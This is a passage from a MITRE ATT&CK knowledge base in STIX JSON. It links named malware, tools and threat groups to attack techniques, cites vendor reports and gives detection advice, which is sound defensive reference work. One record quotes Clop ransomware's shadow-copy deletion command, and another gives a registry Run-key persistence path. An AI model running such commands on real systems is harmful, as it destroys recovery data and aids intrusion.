"tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc215902-f577-4968-8447-b4a22432b1c2", "type": "relationship", "created": "2021-03-18T16:33:07.756Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA EB Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a", "description": "Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}], "modified": "2021-03-18T16:33:07.756Z", "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can capture and store keystrokes.(Citation: CISA EB Aug 2020)", "relationship_type": "uses", "source_ref": "malware--e928333f-f3df-4039-9b8b-556c2add0e42", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc249532-826d-4bc2-8b03-43f284fe609f", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-17T19:00:53.741Z", "description": "[adbupd](https://attack.mitre.org/software/S0202) can use a WMI script to achieve persistence.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc28a305-565f-4a4e-9f71-3956aa19fd9f", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc2fe4e7-cb7c-4707-b28b-a709c2ac017d", "type": "relationship", "created": "2021-10-13T13:00:59.082Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne NobleBaron June 2021", "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}], "modified": "2021-10-16T02:03:14.677Z", "description": "[NativeZone](https://attack.mitre.org/software/S0637) has, upon execution, displayed a message box that appears to be related to a Ukrainian electronic document management system.(Citation: SentinelOne NobleBaron June 2021)", "relationship_type": "uses", "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc40c6be-575a-4eb9-981f-fa6c127d2286", "type": "relationship", "created": "2020-07-16T15:10:35.343Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:10:35.343Z", "description": "[Bonadan](https://attack.mitre.org/software/S0486) has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc4252e5-6a2a-443e-9a31-16d86f4f069b", "type": "relationship", "created": "2020-07-28T18:20:56.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender StrongPity June 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}, {"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}], "modified": "2020-07-28T18:20:56.624Z", "description": "(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", "target_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc4b8f68-3570-474e-8157-225afddda463", "type": "relationship", "created": "2019-05-28T19:59:45.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 Mar 2018", "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}], "modified": "2020-03-20T23:52:23.789Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used SEAL encryption during the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--bc52cbe2-32a0-4491-aa57-46ef39e431b9", "created": "2022-09-27T18:00:20.565Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T18:00:20.565Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc531c11-f295-41cc-9de8-2adb201621b5", "type": "relationship", "created": "2021-09-29T00:04:27.086Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-09-29T00:04:27.086Z", "description": "[xCaon](https://attack.mitre.org/software/S0653) has a command to start an interactive shell.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "malware--21583311-6321-4891-8a37-3eb4e57b0fb1", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc535e23-87e5-4829-a531-cdcdb2b6b52e", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc592166-c29c-4913-b8a0-ec266321a325", "type": "relationship", "created": "2021-09-21T14:52:49.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-09-21T17:11:52.855Z", "description": "(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc5b2681-d0e9-4ef5-9a90-56358ea34d96", "type": "relationship", "created": "2019-01-29T19:55:48.163Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf", "source_name": "Kaspersky Turla Aug 2014"}], "modified": "2020-03-18T20:10:13.800Z", "description": "[Epic](https://attack.mitre.org/software/S0091) gathers information on local group names.(Citation: Kaspersky Turla Aug 2014)", "relationship_type": "uses", "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc60180b-2db6-4e0d-8b98-d349db637777", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", "description": "Falcone, R., et al.. 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Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T17:46:21.390Z", "description": "[FunnyDream](https://attack.mitre.org/software/S1044) can use Native API for defense evasion, discovery, and collection.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc72acee-e417-4de8-8084-153e141917b6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc733ee6-f441-42b1-a201-9ff84e0f522c", "type": "relationship", "created": "2021-05-10T23:54:36.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mcafee Clop Aug 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/", "description": "Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}], "modified": "2021-05-19T17:11:19.309Z", "description": "[Clop](https://attack.mitre.org/software/S0611) can delete the shadow volumes with <code>vssadmin Delete Shadows /all /quiet</code> and can use bcdedit to disable recovery options.(Citation: Mcafee Clop Aug 2019)", "relationship_type": "uses", "source_ref": "malware--cad3ba95-8c89-4146-ab10-08daa813f9de", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc7382dc-b2d0-4bd3-9e7d-f49cf17e7fc1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ASERT InnaputRAT April 2018", "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}], "modified": "2020-03-18T00:48:35.894Z", "description": "Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants establish persistence by modifying the Registry key <code>HKU\\<SID>\\Software\\Microsoft\\Windows\\CurrentVersion\\Run:%appdata%\\NeutralApp\\NeutralApp.exe</code>.(Citation: ASERT InnaputRAT April 2018)", "relationship_type": "uses", "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc74cabe-b8bc-4873-a6ff-e16d8f91299f", "type": "relationship", "created": "2021-10-01T21:53:33.658Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.577Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can enumerate files and collect associated metadata.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--bc79d096-2424-4b1c-b121-5e89d221603f", "created": "2022-03-30T14:26:51.860Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for user authentication attempts. From a classic Pass-The-Hash perspective, this technique uses a hash through the NTLMv1 / NTLMv2 protocol to authenticate against a compromised endpoint. This technique does not touch Kerberos. Therefore, NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. From an Over-Pass-The-Hash perspective, an adversary wants to exchange the hash for a Kerberos authentication ticket (TGT). One way to do this is by creating a sacrificial logon session with dummy credentials (LogonType 9) and then inject the hash into that session which triggers the Kerberos authentication process.", "modified": "2022-04-14T16:09:40.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc7f00a2-ba1c-428a-ba8f-174703389c73", "type": "relationship", "created": "2020-09-22T20:17:38.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}], "modified": "2020-10-06T15:23:45.908Z", "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used publicly-accessible RDP and remote management and monitoring (RMM) servers to gain access to victim machines.(Citation: Secureworks REvil September 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--bc829687-1a36-46f3-9196-79e62f84d005", "created": "2022-12-20T21:16:36.721Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-20T21:16:36.721Z", "description": "The DEADEYE.EMBED variant of [DEADEYE](https://attack.mitre.org/software/S1052) can embed its payload in an alternate data stream of a local file.(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc838675-63af-45c5-9a30-081b5f5ac0d7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco DNSMessenger March 2017", "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"}], "modified": "2020-03-30T17:17:35.483Z", "description": "If the victim is using PowerShell 3.0 or later, [POWERSOURCE](https://attack.mitre.org/software/S0145) writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in <code>%PROGRAMDATA%\\Windows\\</code>.(Citation: Cisco DNSMessenger March 2017)", "relationship_type": "uses", "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Buckeye", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}], "modified": "2020-03-18T22:53:32.312Z", "description": "[OSInfo](https://attack.mitre.org/software/S0165) has enumerated the local administrators group.(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc8cb83f-fc66-4c44-8d60-f6f4be4b4f41", "type": "relationship", "created": "2019-07-09T17:42:44.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "source_name": "Unit42 Emissary Panda May 2019"}], "modified": "2021-10-12T19:21:39.357Z", "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to run an application (<code>CreateProcessW</code>) or script/file (<code>ShellExecuteW</code>) via API.(Citation: Unit42 Emissary Panda May 2019)", "relationship_type": "uses", "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc8d1943-a146-422f-8d98-d31fce56202f", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "Monitor executed commands and arguments for actions that could be taken to collect internal data.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc8f14a1-dc24-42cb-a0dd-3cc0c25d5eae", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.059Z", "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) uses cmd.exe to execute commands for discovery.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--bc953a16-2049-4050-8790-5efb54be6e34", "created": "2022-02-08T16:11:38.675Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Peirates GitHub", "url": "https://github.com/inguardians/peirates", "description": "InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Peirates](https://attack.mitre.org/software/S0683) can query the query AWS and GCP metadata APIs for secrets.(Citation: Peirates GitHub)", "modified": "2022-04-14T20:57:07.027Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--79dd477a-8226-4b3d-ad15-28623675f221", "target_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--bc99bfb1-8529-4116-b702-07c37d333bcf", "created": "2023-09-20T19:33:24.058Z", "revoked": false, "external_references": [{"source_name": "Telefonica Snip3 December 2021", "description": "Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.", "url": "https://telefonicatech.com/blog/snip3-investigacion-malware"}, {"source_name": "Proofpoint TA2541 February 2022", "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.", "url": "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}, {"source_name": "Morphisec Snip3 May 2021", "description": "Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.", "url": "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}, {"source_name": "Cisco Operation Layover September 2021", "description": "Ventura, V. (2021, September 